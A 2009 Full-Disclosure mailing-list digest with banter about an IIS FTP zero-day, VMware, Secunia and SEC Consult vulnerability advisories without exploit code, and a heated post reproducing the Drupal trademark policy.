From vulcanius at gmail.com  Tue Sep  1 02:50:41 2009
From: vulcanius at gmail.com (vulcanius)
Date: Tue, 1 Sep 2009 01:50:41 +0000
Subject: [Full-disclosure] Why FD should unban n3td3v.
In-Reply-To: <20090831015654.E61AE20040@smtp.hushmail.com>
References: <20090831015654.E61AE20040@smtp.hushmail.com>
Message-ID: <f398fbb50908311850i285265fdgc3b1897b7464a462@mail.gmail.com>

The readers did decide, that's why he's banned. If you still like
reading his garbage go find whatever bridge he's currently living
under and subscribe. If you believe that the days with n3td3v on the
list were FD's glory days you're either ignorant or stupid.

On Mon, Aug 31, 2009 at 1:56 AM, John Q Publix<johnqpublicr at hush.com> wrote:
> Some of you may call n3td3v annoying, others may call him funny,
> but others may genuinely value his comments on the list.
>
> Leave it up to the reader to decide.
>
> FD exists to be unmoderated and uncensored. This list is a great
> thing, and I'm requesting that it be restored to it's former glory.
>
> While I'm no fan of n3td3v, censoring him sets a dangerous
> precedent. If I wanted to filter out his mails client-side, I still
> could btw.
>
> Just don't censor him on the server.
>
>
> Just my 2 cents.
>
> john q public
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>


From r1d1nd1rty at hush.com  Tue Sep  1 03:47:12 2009
From: r1d1nd1rty at hush.com (r1d1nd1rty)
Date: Mon, 31 Aug 2009 22:47:12 -0400
Subject: [Full-disclosure] Microsoft Internet Information Server ftpd
	zeroday
Message-ID: <20090901024712.81877B8043@smtp.hushmail.com>

why would anyone write a 0day with...

# bug found & exploited by Kingcope, kcope2<at>googlemail.com 
# Affects IIS6 with stack cookie protection 
# August 2009 - KEEP THIS 0DAY PRIV8 

... then plaster it all over the internet? have you forgotten what 
you, yourself wrote?

if you guys really wanna get that famous.. perhaps you should 
consider a new career - nobody even likes h4ck3rs these days anyway 
(especially james and da internet po-po).

and please put a fkn' sleep in ur while(1)'s after a fork()... it 
appears as though you couldn't WAIT to get this one out...

/rd

remember to always r1d3 d1r7y n' bounce em.

On Mon, 31 Aug 2009 16:31:51 -0400 Kingcope <kcope2 at googlemail.com> 
wrote:
>Hello list,
>
>I have to clarify some things on the globbing vulnerability here.
>The posted PoC (with the fine art) does NOT exploit IIS6 ftp 
>servers,
>IIS6 ftp server IS affected by the buffer overflow but is properly 
>protected
>by stack canaries. AFAIK it looks like a DoS on Windows Server 
>2003.
>Until someone finds a way to bypass Stack Canaries on recent 
>Windows
>versions this remains a DoS on IIS6.
>
>Thanks to HD Moore and all people in the past you wrote exploits 
>for
>my releases!
>Kudos!
>
>Nikolaos
>
>2009/8/31 Kingcope <kcope2 at googlemail.com>:
>> (see attachment)
>>
>> Cheerio,
>>
>> Kingcope
>>
>
>_______________________________________________
>Full-Disclosure - We believe in it.
>Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>Hosted and sponsored by Secunia - http://secunia.com/


From laurent.gaffie at gmail.com  Tue Sep  1 04:47:32 2009
From: laurent.gaffie at gmail.com (laurent gaffie)
Date: Mon, 31 Aug 2009 23:47:32 -0400
Subject: [Full-disclosure] Microsoft Internet Information Server ftpd
	zeroday
In-Reply-To: <20090901024712.81877B8043@smtp.hushmail.com>
References: <20090901024712.81877B8043@smtp.hushmail.com>
Message-ID: <4b13609c0908312047q309bb6ddt5022f9f60fc52030@mail.gmail.com>

Nice find Kingcope,
As Thierry mentioned it, i guess it was a pain to find it, nice one as
always, your finding rocks.
Cheers

2009/8/31 r1d1nd1rty <r1d1nd1rty at hush.com>

> why would anyone write a 0day with...
>
> # bug found & exploited by Kingcope, kcope2<at>googlemail.com
> # Affects IIS6 with stack cookie protection
> # August 2009 - KEEP THIS 0DAY PRIV8
>
> ... then plaster it all over the internet? have you forgotten what
> you, yourself wrote?
>
> if you guys really wanna get that famous.. perhaps you should
> consider a new career - nobody even likes h4ck3rs these days anyway
> (especially james and da internet po-po).
>
> and please put a fkn' sleep in ur while(1)'s after a fork()... it
> appears as though you couldn't WAIT to get this one out...
>
> /rd
>
> remember to always r1d3 d1r7y n' bounce em.
>
> On Mon, 31 Aug 2009 16:31:51 -0400 Kingcope <kcope2 at googlemail.com>
> wrote:
> >Hello list,
> >
> >I have to clarify some things on the globbing vulnerability here.
> >The posted PoC (with the fine art) does NOT exploit IIS6 ftp
> >servers,
> >IIS6 ftp server IS affected by the buffer overflow but is properly
> >protected
> >by stack canaries. AFAIK it looks like a DoS on Windows Server
> >2003.
> >Until someone finds a way to bypass Stack Canaries on recent
> >Windows
> >versions this remains a DoS on IIS6.
> >
> >Thanks to HD Moore and all people in the past you wrote exploits
> >for
> >my releases!
> >Kudos!
> >
> >Nikolaos
> >
> >2009/8/31 Kingcope <kcope2 at googlemail.com>:
> >> (see attachment)
> >>
> >> Cheerio,
> >>
> >> Kingcope
> >>
> >
> >_______________________________________________
> >Full-Disclosure - We believe in it.
> >Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> >Hosted and sponsored by Secunia - http://secunia.com/
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20090831/0df16f28/attachment.html 

From security at vmware.com  Tue Sep  1 06:32:24 2009
From: security at vmware.com (VMware Security team)
Date: Mon, 31 Aug 2009 22:32:24 -0700
Subject: [Full-disclosure] VMSA-2009-0011 VMware Studio 2.0 addresses a
 security issue in the public beta version of Studio 2.0
Message-ID: <4A9CB1E8.1040309@vmware.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- ------------------------------------------------------------------------
                   VMware Security Advisory

Advisory ID:       VMSA-2009-0011
Synopsis:          VMware Studio 2.0 addresses a security issue in the
                   public beta version of Studio 2.0
Issue date:        2009-08-31
Updated on:        2009-08-31 (initial release of advisory)
CVE numbers:       CVE-2009-2968
- ------------------------------------------------------------------------

1. Summary

   VMware Studio 2.0 resolves a directory traversal vulnerability that
   was present in the VMware Studio 2.0 public beta.

2. Relevant releases

   VMware VMware Studio 2.0 public beta

3. Problem Description

 a. Directory traversal vulnerability

    Due to incomplete sanitation of user input, a support component of
    VMware Studio's web interface can be tricked into uploading a file
    to any directory inside the VMware Studio virtual appliance.  This
    issue does not affect virtual machines that are created with Studio
    2.0 beta.

    The Common Vulnerabilities and Exposures project (cve.mitre.org)
    has assigned the name CVE-2009-2968 to this issue.

    VMware would like to thank Claudio Criscione of Secure Network
    for reporting this issue to us.

    VMware         Product   Running  Replace with/
    Product        Version   on       Apply Patch
    =============  ========  =======  =================
    VMware Studio  1.0       VMware   not affected
    VMware Studio  2.0 beta  VMware   VMware Studio 2.0 build 1017-185256
    VMware Studio  2.0       VMware   not affected

4. Solution

   Please review the patch/release notes for your product and version
   and verify the sha1sum and/or the md5sum of your downloaded file.

   VMware Studio 2.0 build 1017-185256
   -----------------------------------
   http://www.vmware.com/support/developer/studio/
   Release notes:
http://www.vmware.com/support/developer/studio/studio20/release_notes.html

   VMware Studio appliance in ZIP
    (md5sum:58cb40704d12f4ec329b887ae729aba9)
    (sha1sum:2931a6a4de7e77016d08c6539cab93a6304ab452)

   VMware Studio appliance in OVA
    Deployment URL:

http://download3.vmware.com/software/studio/studio20/VMware_Studio-2.0.0.1017-185256_OVF10.ova
    (md5sum:0b0edb02865ae935bcffcccbf346adc2)
    (sha1sum:f126339ab0de5b684e60ab7dfd50ddb15f2391cc)

   VMware Studio appliance in OVF 1.0
    Deployment URL:

http://download3.vmware.com/software/studio/studio20/VMware_Studio-2.0.0.1017-185256_OVF10.ovf
    (md5sum:a3dfca29578a75b0440be3419396c85c)
    (sha1sum:67f08e73de18ddeea257fefe6475f289d643ad77)

   VMware Studio appliance in OVF 0.9
    Deployment URL:

http://download3.vmware.com/software/studio/studio20/VMware_Studio-2.0.0.1017-185256_OVF09.ovf
    (md5sum:959c61270dc872be2f5e65e59480852d)
    (sha1sum:ac3c2d612f0b877f10ca607467b6a95b31ed3dd7)

   VMDK associated to the OVF 1.0 and OVF 0.9 descriptor
    (md5sum:617ec59063d2ba180b19f680fb1b49b1)
    (sha1sum:eb1d474cde175a9e042c9613eae31822843394cf)

   VMware Studio Plugin for Eclipse in ZIP
    (md5sum:9970df718f08f92c053758187c979293)
    (sha1sum:2d5a9a8d3d68faa3afd317b148f060a74cbd359a)


5. References

   CVE numbers
   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2968

- ------------------------------------------------------------------------
6. Change log

2009-08-31  VMSA-2009-0011
Initial security advisory after release of Studio 2.0 on 2009-08-31.

- ------------------------------------------------------------------------
7. Contact

E-mail list for product security notifications and announcements:
http://lists.vmware.com/cgi-bin/mailman/listinfo/security-announce

This Security Advisory is posted to the following lists:

  * security-announce at lists.vmware.com
  * bugtraq at securityfocus.com
  * full-disclosure at lists.grok.org.uk

E-mail:  security at vmware.com
PGP key at: http://kb.vmware.com/kb/1055

VMware Security Center
http://www.vmware.com/security

VMware security response policy
http://www.vmware.com/support/policies/security_response.html

General support life cycle policy
http://www.vmware.com/support/policies/eos.html

VMware Infrastructure support life cycle policy
http://www.vmware.com/support/policies/eos_vi.html

Copyright 2009 VMware Inc.  All rights reserved.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.5 (MingW32)

iD8DBQFKnLHmS2KysvBH1xkRAlUSAJ90vZzWYrMUgNwmnk1EWRTEyF+pKgCffeLt
sMSBGdvumE+14/pi4woV46Q=
=jbNX
-----END PGP SIGNATURE-----


From remove-vuln at secunia.com  Tue Sep  1 09:04:08 2009
From: remove-vuln at secunia.com (Secunia Research)
Date: Tue, 1 Sep 2009 10:04:08 +0200
Subject: [Full-disclosure] Secunia Research: OpenOffice.org Word Document
	Table Parsing Integer Underflow
Message-ID: <200909010804.n81848Bo026772@ca.secunia.com>

====================================================================== 

                     Secunia Research 01/09/2009

  - OpenOffice.org Word Document Table Parsing Integer Underflow -

====================================================================== 
Table of Contents

Affected Software....................................................1
Severity.............................................................2
Vendor's Description of Software.....................................3
Description of Vulnerability.........................................4
Solution.............................................................5
Time Table...........................................................6
Credits..............................................................7
References...........................................................8
About Secunia........................................................9
Verification........................................................10

====================================================================== 
1) Affected Software 

* OpenOffice.org 3.1

NOTE: Other versions may also be affected.

====================================================================== 
2) Severity 

Rating: Highly critical
Impact: System access
Where:  From remote

====================================================================== 
3) Vendor's Description of Software 

"OpenOffice.org 3 is the leading open-source office software suite for
word processing, spreadsheets, presentations, graphics, databases and
more.".

Product Link:
http://openoffice.org/

====================================================================== 
4) Description of Vulnerability

Secunia Research has discovered a vulnerability in OpenOffice.org, 
which can be exploited by malicious people to potentially compromise a
user's system.

The vulnerability is caused due to an integer underflow error when 
parsing certain records in the document table. This can be exploited 
to cause a heap-based buffer overflow via a specially crafted file.

Successful exploitation may allow execution of arbitrary code.

====================================================================== 
5) Solution 

Update to version 3.1.1.

====================================================================== 
6) Time Table 

14/05/2009 - Vendor notified.
14/05/2009 - Vendor response.
01/09/2009 - Public disclosure.

====================================================================== 
7) Credits 

Discovered by Dyon Balding, Secunia Research.

====================================================================== 
8) References

The Common Vulnerabilities and Exposures (CVE) project has assigned 
CVE-2009-0200 for the vulnerability.

====================================================================== 
9) About Secunia

Secunia offers vulnerability management solutions to corporate
customers with verified and reliable vulnerability intelligence
relevant to their specific system configuration:

http://secunia.com/advisories/business_solutions/

Secunia also provides a publicly accessible and comprehensive advisory
database as a service to the security community and private 
individuals, who are interested in or concerned about IT-security.

http://secunia.com/advisories/

Secunia believes that it is important to support the community and to
do active vulnerability research in order to aid improving the 
security and reliability of software in general:

http://secunia.com/secunia_research/

Secunia regularly hires new skilled team members. Check the URL below
to see currently vacant positions:

http://secunia.com/corporate/jobs/

Secunia offers a FREE mailing list called Secunia Security Advisories:

http://secunia.com/advisories/mailing_lists/

====================================================================== 
10) Verification 

Please verify this advisory by visiting the Secunia website:
http://secunia.com/secunia_research/2009-26/

Complete list of vulnerability reports published by Secunia Research:
http://secunia.com/secunia_research/

======================================================================


From remove-vuln at secunia.com  Tue Sep  1 09:04:20 2009
From: remove-vuln at secunia.com (Secunia Research)
Date: Tue, 1 Sep 2009 10:04:20 +0200
Subject: [Full-disclosure] Secunia Research: OpenOffice.org Word Document
	Table Parsing Buffer Overflow
Message-ID: <200909010804.n8184Kc1026780@ca.secunia.com>

====================================================================== 

                     Secunia Research 01/09/2009

   - OpenOffice.org Word Document Table Parsing Buffer Overflow -

====================================================================== 
Table of Contents

Affected Software....................................................1
Severity.............................................................2
Vendor's Description of Software.....................................3
Description of Vulnerability.........................................4
Solution.............................................................5
Time Table...........................................................6
Credits..............................................................7
References...........................................................8
About Secunia........................................................9
Verification........................................................10

====================================================================== 
1) Affected Software 

* OpenOffice.org 3.1

NOTE: Other versions may also be affected.

====================================================================== 
2) Severity 

Rating: Highly critical
Impact: System access
Where:  Remote

====================================================================== 
3) Vendor's Description of Software 

"OpenOffice.org 3 is the leading open-source office software suite for
word processing, spreadsheets, presentations, graphics, databases and
more.".

Product Link:
http://openoffice.org/

====================================================================== 
4) Description of Vulnerability

Secunia Research has discovered a vulnerability in OpenOffice.org, 
which can be exploited by malicious people to potentially compromise 
a user's system.

The vulnerability is caused by a boundary error when parsing certain 
records and can be exploited to cause a heap-based buffer overflow via
a specially crafted document.

Successful exploitation may allow execution of arbitrary code.

====================================================================== 
5) Solution 

Update to version 3.1.1.

====================================================================== 
6) Time Table 

18/05/2009 - Vendor notified.
18/05/2009 - Vendor response.
01/09/2009 - Public disclosure.

====================================================================== 
7) Credits 

Discovered by Dyon Balding, Secunia Research.

====================================================================== 
8) References

The Common Vulnerabilities and Exposures (CVE) project has assigned 
CVE-2009-0201 for the vulnerability.

====================================================================== 
9) About Secunia

Secunia offers vulnerability management solutions to corporate
customers with verified and reliable vulnerability intelligence
relevant to their specific system configuration:

http://secunia.com/advisories/business_solutions/

Secunia also provides a publicly accessible and comprehensive advisory
database as a service to the security community and private 
individuals, who are interested in or concerned about IT-security.

http://secunia.com/advisories/

Secunia believes that it is important to support the community and to
do active vulnerability research in order to aid improving the 
security and reliability of software in general:

http://secunia.com/secunia_research/

Secunia regularly hires new skilled team members. Check the URL below
to see currently vacant positions:

http://secunia.com/corporate/jobs/

Secunia offers a FREE mailing list called Secunia Security Advisories:

http://secunia.com/advisories/mailing_lists/

====================================================================== 
10) Verification 

Please verify this advisory by visiting the Secunia website:
http://secunia.com/secunia_research/2009-27/

Complete list of vulnerability reports published by Secunia Research:
http://secunia.com/secunia_research/

======================================================================


From drupal at hush.com  Tue Sep  1 11:15:32 2009
From: drupal at hush.com (Drupal is under attack)
Date: Tue, 01 Sep 2009 10:15:32 +0000
Subject: [Full-disclosure] Think Drupal was FLOSS and non-profit? Think
	again.
Message-ID: <20090901101532.998E7B0048@smtp.hushmail.com>

Thought Drupal was open source and non-profit? Not anymore.

This brings back memories of when Mambo and Joomla split.

If you want to build a website based around this GPL+MIT framework, 
you should read the fine print. For your convenience of course, 
it's governed by the laws and regulations of Belgium.

Someone has dollar signs in their eyes.

Source: http://buytaert.net/drupal-trademark-policy-officially-
available

All I need is this euro putz putting his ugly mug on a big 
projector like we should take it. He's freaking using us like 
pawns. He shows us pictures of his god damn babies on his blog like 
he's God or we care.

Enough. Hand power of the trademark to Drupal Association and stop 
killing the project. People don't want Dries, they want Drupal.

Policy Attached.

1. Background information

The Drupal trademark ? i.e. the word "Drupal", whether or not in 
capitals ? is owned and controlled by Dries Buytaert, who 
cooperates with the Drupal Association and local non-profit 
associations to foster the use of the Drupal software.

Although you are encouraged to use the Drupal trademark (and the 
official Drupal logo (official link to be included when released by 
the Drupal Association), which is itself a use of the Drupal 
trademark) for your own purposes, you must first obtain a license. 
You can either obtain this license automatically, or through a 
license grant procedure, as further explained below in this policy.

This policy therefore first explains whether you receive an 
automatic license, or whether you need to obtain a license through 
the license grant procedure. In addition, this policy explains 
which "rules of use" apply when you use the Drupal trademark 
(whether you obtained the license automatically, or through the 
license grant procedure).
2. Why this policy was created

This policy is based on the questions received by Dries Buytaert 
from various persons and companies, and tries to cover the most 
typical use cases for the Drupal trademark. By imposing simple 
rules, this policy aims to create a level playing field for 
everyone interested in using the Drupal trademark.
3. Limitations of this policy

Do not assume that this policy will answer every question you may 
have about the use of the Drupal trademark. There will be scenarios 
where your intended use of the Drupal trademark is not entirely 
covered by this policy, or where you have doubts as to whether or 
not a specific rule applies. In all these cases, you should contact 
Dries Buytaert.

Please also note that, while the use of the official Drupal logo is 
covered by this trademark policy, the use of the Drupal icon 
(druplicon) is not. Any use of the Drupal icon is subject to 
separate licensing. Contact the Drupal Association for details.


I. AUTOMATIC LICENSE OR LICENSE GRANT PROCEDURE?

This section explains whether you are entitled to an automatic 
license (in which case you can use the Drupal trademark without 
having to complete or receive any document), or whether you need to 
follow the license grant procedure. You will only be entitled to an 
automatic license when you are in any of the situations described 
under subsection A below, and not simultaneously in any of the 
situations described under subsection B below.
A. You receive an automatic license when:

   1. You exclusively use the Drupal trademark to either extend or 
improve the Drupal software, or to encourage the use of the Drupal 
software (in short "foster the Drupal software" ).
      Examples of "fostering the Drupal software":
          * a course entitled "How to use Drupal in your business" 
organized by a local non-profit organization;
          * an open access monthly journal called "Drupal Coding 
magazine";
          * an open source Apache plugin "JIT Compiler for Drupal";
          * a freely distributed homebrew Drupal theme "John's 
Drupal Christmas Theme";
          * a website "drupalhalloffame.com" with pictures of 
famous Drupal contributors;
          * administering a database with Drupal bugs and 
corresponding workarounds.
      Examples which do not qualify as "fostering the Drupal 
software":
          * creating a Drupal fork "ImprovedDrupal";
          * publishing a website "drupalhallofshame.com" with 
pictures of infamous Drupal contributors.
      Examples of not "exclusively to foster the Drupal software":
          * a charitable organisation selling t-shirts with the 
Drupal trademark to sponsor its fight against global warming;
          * a company selling t-shirts with the Drupal trademark, 
while donating 25% of the profits to the Drupal Association.
      "Exclusively" means that any direct profits generated by 
using the Drupal trademark, must also be exclusively used to foster 
the Drupal software.
      Examples:
          * A high-traffic website "drupalindepth.com" containing 
sponsored ads, qualifies for an automatic license when the profits 
generated from these ads (minus hosting costs and other obvious 
costs incurred for maintaining the website) are used to pay a full-
time developer working on the new open source Drupal template 
engine.
          * A Drupal contributor wants to start a website called 
"newtodrupal.com", with helpful tutorials aimed at people new to 
Drupal. This website contains ads under the form of sponsored 
links, which would normally exclude the automatic license. However, 
because the referral code used for these ads is the Drupal 
Association's, any money earned goes directly to support the Drupal 
project. Hence, this website can benefit from an automatic license.
          * The New York Drupal user group sells t-shirts with the 
Drupal trademark to sponsor its functioning. This also qualifies 
for an automatic license.
   2. The Drupal trademark is used in a domain name, title of 
website, title of a seminar, title of a course or title of a 
software package that is either exclusively intended to foster the 
Drupal software, or also mentions your trademark (or your trade 
name, name of your company, name of your organization, or name of 
your association).
      Example uses for which you receive an automatic license:
          * a course entitled "Acme's Drupal Gold Course" or 
"Acme's Drupal Certification Course" or "Acme's Learn to Code in 
Drupal ";
          * a domain name that is used for commercial purposes and 
is entitled "drupalacme.com" or "commonusesofdrupal.acme.com";
          * a domain name that is exclusively intended to foster 
Drupal use, and is entitled "drupalusersgroupcalifornia.org" or 
"drupalunofficialfaq.com";
          * an open source plugin to connect Acme's SQL-server to 
the Drupal software;
          * a commercial plugin to connect Acme's SQL-server to the 
Drupal software, called "Acme's SQL plugin for Drupal";
          * a Drupal course entitled "Drupal 6" that is taught at a 
university;
          * a free Drupal seminar entitled "Creating websites with 
Drupal", organized by a local non-profit organization
      Example uses for which the license grant procedure must be 
followed:
          * a commercial website hosted under domain name 
"commonusesofdrupal.com";
          * a commercial course entitled "Drupal Newbies Course 
2009".
   3. The Drupal trademark is used in the title of a book, 
newsletter, video, magazine or similar instructional instrument 
regarding Drupal that does not suggest an "official link".
      Example titles for which you receive an automatic license:
          * "Drupal ninja secrets: the complete guide", "Monthly 
Drupal Bits", "Drupal in Depth", "Drupal Step by Step", "John 
Smith's Drupal 6 Installation Guide", "Illustrated Drupal Guide", 
"More effective ways to use Drupal", "Drupal Screenshot Guided 
Tour", "Beginning Drupal", "Drupal inside out", "Drupal for network 
professionals".
      Example titles for which the license grant procedure must be 
followed, because an "official link" may be suggested by the title 
(see B.1 below):
          * "Drupal 6", "Official Drupal Guide", "The Drupal 
Association's Book on Drupal".
   4. The Drupal trademark is used for the title of a camp or meet-
up.
      Examples: "Drupal Bootcamp 2009", "Annual Drupal Meeting", 
"Drupal Gathering New York", "DrupalCamp Antarctica".

      Note, however, that the license grant procedure must be used 
when the Drupal trademark is used in combination with the words 
"conference", "convention" or "association". See examples below.
   5. You want to display the official Drupal logo (whether for 
commercial or non-commercial use) in a standalone and unaltered 
form.
          * "Standalone" means that the Drupal logo is not part of 
another logo. For example, a local Spanish Drupal user group that 
would like to create a "Drupal Spain" logo by extending the word 
"Drupal" with the word "Spain" (in the same font and color), will 
not be entitled to an automatic license. "Unaltered" means that the 
Drupal logo cannot be changed in any way ? e.g., by changing the 
color, by slightly altering the shape of the letters, etc.
          * Examples for which you receive an automatic license: 
creating a banner that displays the Drupal logo; using the Drupal 
logo on your (commercial or non-commercial) website; displaying the 
Drupal logo on product packaging; selling a t-shirt with the Drupal 
logo printed on the back.
   6. Your intended use qualifies as "nominative fair use" of the 
Drupal trademark, i.e., merely identifying that you are talking 
about Drupal in a text, without suggesting sponsorship or 
endorsement by Dries Buytaert or the Drupal Association.
      Examples:
          * describing a new Drupal release in a review;
          * referring to Drupal in a comprehensive overview of 
content management systems;
          * complaining in a blog about a missing feature in the 
Drupal software;
          * reporting about a Drupal conference on your personal 
homepage.
      The use of the Drupal trademark as part of the name of a 
function, procedure, variable name or similar source code component 
is also considered "nominative fair use" for which no license is 
required.
      Examples:
          * a procedure called drupal_add_link();
          * a constant called DRUPAL_AUTHENTICATED_RID;
          * a variable named $drupal_tag;
          * a set of source code files called drupal.module and 
drupal.js.

B. The license grant procedure must always be followed when you are 
in one or more of the following situations (even when you would 
also be in any of the situations under subsection A above)

   1. The use of the Drupal trademark suggests an "official link" 
between your product or service and Dries Buytaert / the Drupal 
Association (i.e., the product or service can be perceived as 
either emanating from Dries Buytaert / the Drupal Association, or 
being endorsed by Dries Buytaert / the Drupal Association).
      Examples:
          * a domain name "drupalofficialfaq.com";
          * a domain name "drupalsupport.nl";
          * a company called "Drupal Services Inc.";
          * a course entitled "Drupal Exams".
   2. The Drupal trademark is used in combination with the words 
"conference", "convention" or "association", as well as any 
translation, abbreviation or variation thereof.
      Examples: "drupalcon, "drupalconference", "Drupalconvention", 
"drupal con", "drupal conference", "Drupal Convention", "Drupal 
Association".
   3. The Drupal trademark is used as part of another registered 
trademark.
      Example: a trademark "Drupal Plugin Optimizer".
   4. The Drupal trademark is used as part of a "drupal.tld" domain 
name.
      Examples: "drupal.com", "drupal.info","drupal.co.uk".
   5. The Drupal trademark is used as part of a domain name that 
covers either an entire category of products or services that are 
relevant to the Drupal community, that covers an entire target 
group of Drupal users or that is otherwise too generic.
      Examples for which the license grant procedure must be 
followed: "drupal-design.com", "drupal-themes.co.uk", "drupal-
modules.com", "drupal-support.nl", "drupal-hosting.com", "drupal-
administrators.co.uk", "drupal-tshirts.com", "drupal-magazine.com", 
"mobiledrupal.com", "drupal-intranet.com", "drupal-services.com", 
"drupal-development.co.uk".
   6. The Drupal trademark is used in a domain name, title of a 
website, title of a seminar, title of a course or title of a 
software package that is not exclusively intended to foster the 
Drupal software, and this domain name or title does not also 
mention your trademark (or your trade name, name of your company, 
name of your organization, or name of your association).
      Examples:
          * when a "Drupal Course for New Administrators" is 
organized by a local Drupal community, the license grant procedure 
does not need to be used ? even when a $600 registration fee would 
be requested ? because the money earned is exclusively used to 
foster the Drupal software;
          * when the same course is organized by a commercial 
organization and not all of the profits earned are used to foster 
the Drupal software, the license grant procedure must be followed;
          * when the same course is organized by a commercial 
organization, but under the name of "Acme's Drupal Course for New 
Administrators", the license grant procedure does not need to be 
used, even when none of the profits earned are used to foster the 
Drupal software;
          * when a commercial organization "Acme" has a product 
called "Drupal River" that is not exclusively intended to foster 
Drupal software, the license grant procedure must be followed;
   7. The Drupal trademark is used as part of the name of a 
company, organization, trade name or association.
      Examples: a company named "Drupal, Inc.", "Drupal Experts 
GmbH" or "Drupal Support BV"; "Drupal Hosting LLC"; an organization 
called "Drupal Peru" or "Drupal User Group Germany".
   8. You want to use the official Drupal logo in altered form or 
as part of another logo.
   9. There is any doubt as to how this policy should be 
interpreted or applied to a specific case.

II. THE LICENSE GRANT PROCEDURE

In the license grant procedure, you must complete a form with your 
contact details and a description of the intended use of the Drupal 
trademark.

It may take a month or more for your application to be evaluated, 
and applications may be rejected for any reason (you may, however, 
reapply as often as you like). Furthermore, a license fee may be 
requested for any commercial use of the Drupal trademark.

Although licenses are granted at Dries Buytaert's sole discretion, 
and specific conditions or obligations may be imposed, the 
following factors will be taken into account during the license 
grant procedure:

   1. With respect to a Drupal-related product or service, it will 
be considered whether the product or service:
          * does not suggest an official link;
          * promotes or expands Drupal adoption and usage;
          * is not a fork of Drupal, and does not promote or 
encourage forks of Drupal;
          * is licensed in a way that is compatible with the Drupal 
open source license;
          * substantially strengthens and empowers the Drupal 
community;
          * is of a high quality in both form and function;
          * is created by significant contributors to the Drupal 
project;
          * is created by those with a track record of liberally 
"giving back" to their communities;
          * in the case of a domain name, does not create an unfair 
monopoly towards others because it spans a relevant category of 
services.
          * With respect to the name of a company, organization or 
association, it is considered whether:
          *
                o the name does not suggest an official link;
                o the company / organization or association is 
founded by significant contributors to the Drupal project, who have 
a track record of liberally "giving back" to their communities.

III. RULES OF USE

With the exception of the "nominative fair use" of the Drupal 
trademark, your use of the Drupal trademark is subject to the 
following rules (irrespective of whether you followed the license 
grant procedure or obtained an automatic license):

   1. Any use of the Drupal trademark implies acceptance of this 
policy.
   2. The Drupal trademark cannot be used for illegal, defamatory 
or humiliating purposes, or any other purpose that may negatively 
impact the Drupal software.
   3.
      Examples:
          * a Drupal fork entitled "A Better Drupal";
          * a domain name "drupal-is-worthless.com" (note, however, 
that merely mentioning or referring to the Drupal software ? for 
example in a critical blog post - qualifies as "nominative fair 
use", to which the rules of use do not apply).
   4. The name of your company or organization should be used in 
combination with the Drupal trademark so that there can be no 
confusion about the true source (company, organization, association 
or author) of your product or service. The combination of the name 
of your product or service with the Drupal trademark must be unique 
and identifiable.
   5.
      Examples:
          * if your company is called "Acme", refer to your Drupal 
certification product as "Acme Drupal Certification" or "Drupal 
Certification by Acme" instead of "Drupal Certification"; or
          * if your company called "Acme" has a Drupal podcast, 
clearly refer to it as the "Acme Drupal Podcast", "Drupal Podcast 
provided by Acme" instead of just "Drupal Podcast";
          * if your company called "Acme" has a product or service 
called "Drupal River," clearly indicate that the "Drupal River is a 
product (or service) of Acme" so that there can be no confusion 
about the true source.
   6. The Drupal trademark should be accompanied by the following 
text (or an appropriate translation):

      "Drupal is a registered trademark of Dries Buytaert."

IV. OTHER LEGAL STUFF

   1. Any license granted under this policy, is legally granted as 
a sub-license by the company Dries Buytaert BVBA (company number 
0893.231.032), which is mandated by Dries Buytaert to evaluate the 
applications and assign sub-licenses of the Drupal trademark on 
behalf of Dries Buytaert.
   2. Any license granted under this policy can be terminated upon 
sixty (60) days prior written notice if you breach any provision of 
this policy. If your breach can be cured (and you have not 
previously breached this policy), you may be granted forty-five 
(45) days from the date of notice to cure the breach.
   3. All implicit or automatic permissions or licenses to use the 
Drupal trademark that were granted before the publication of the 
current version of this policy are revoked after a grace period of 
six (6) months (calculated as from the date of publication).
   4. This policy ? as well as the accompanying website - may be 
changed at any time. You accept that all licenses accorded under 
this policy are non-exclusive, non-transferable, non-sub-
licensable, revocable at any time, and subject to changes in 
policy. Hence, changes in this policy may cause permissions to be 
revoked or made dependent on additional obligations.
   5. Any changes to this policy will enter into force sixty (60) 
days after publication on the licensing page of the Drupal website 
(http://drupal.com/trademark).
   6. If any provision of this policy would be found by any court 
or administrative body of competent jurisdiction to be invalid or 
unenforceable, the invalidity or unenforceable of such provision 
shall not affect the other provisions of this policy, so that all 
other provisions shall remain in full force and effect. In such 
case, the invalid or unenforceable provision shall be replaced by a 
valid or enforceable provision that achieves to the greatest extent 
possible the economic, legal and commercial objectives of the 
invalid or unenforceable provision.
   7. All disputes in connection with this policy or any permission 
granted by it will be submitted to the applicable Court of 
Brussels, Belgium. This policy is governed by the laws and 
regulations of Belgium.


-- Dries Buytaert, Owner of the Drupal Trademark


From research at sec-consult.com  Tue Sep  1 12:41:32 2009
From: research at sec-consult.com (Johannes Greil)
Date: Tue, 1 Sep 2009 13:41:32 +0200
Subject: [Full-disclosure] SEC Consult SA-20090901-0 :: File disclosure
 vulnerability in JSFTemplating,
 Mojarra Scales and GlassFish Application Server v3 Admin console
Message-ID: <20090901134132.7d455e5a@sec-consult.com>

SEC Consult Security Advisory < 20090901-0 >
=======================================================================
              title: File disclosure vulnerability in JSFTemplating, 
                     Mojarra Scales and GlassFish Application Server v3 Admin
                     console
           products: JSFTemplating (FileStreamer/PhaseListener component)
                     Mojarra Scales
                     GlassFish Application Server v3 Preview (Admin console)
 vulnerable version: JSFTemplating: all versions < v1.2.11
                     Mojarra Scales: all versions < v1.3.2
                     GlassFish: v3 Preview
      fixed version: JSFTemplating: v1.2.11
                     Mojarra Scales: v1.3.2
                     GlassFish: v2 is not affected according to vendor
             impact: critical
           homepage: https://jsftemplating.dev.java.net
                     http://kenai.com/projects/scales
                     https://glassfish.dev.java.net
              found: 2009-07-01
                 by: J. Greil / SEC Consult / www.sec-consult.com
=======================================================================

Vendor description:
-------------------
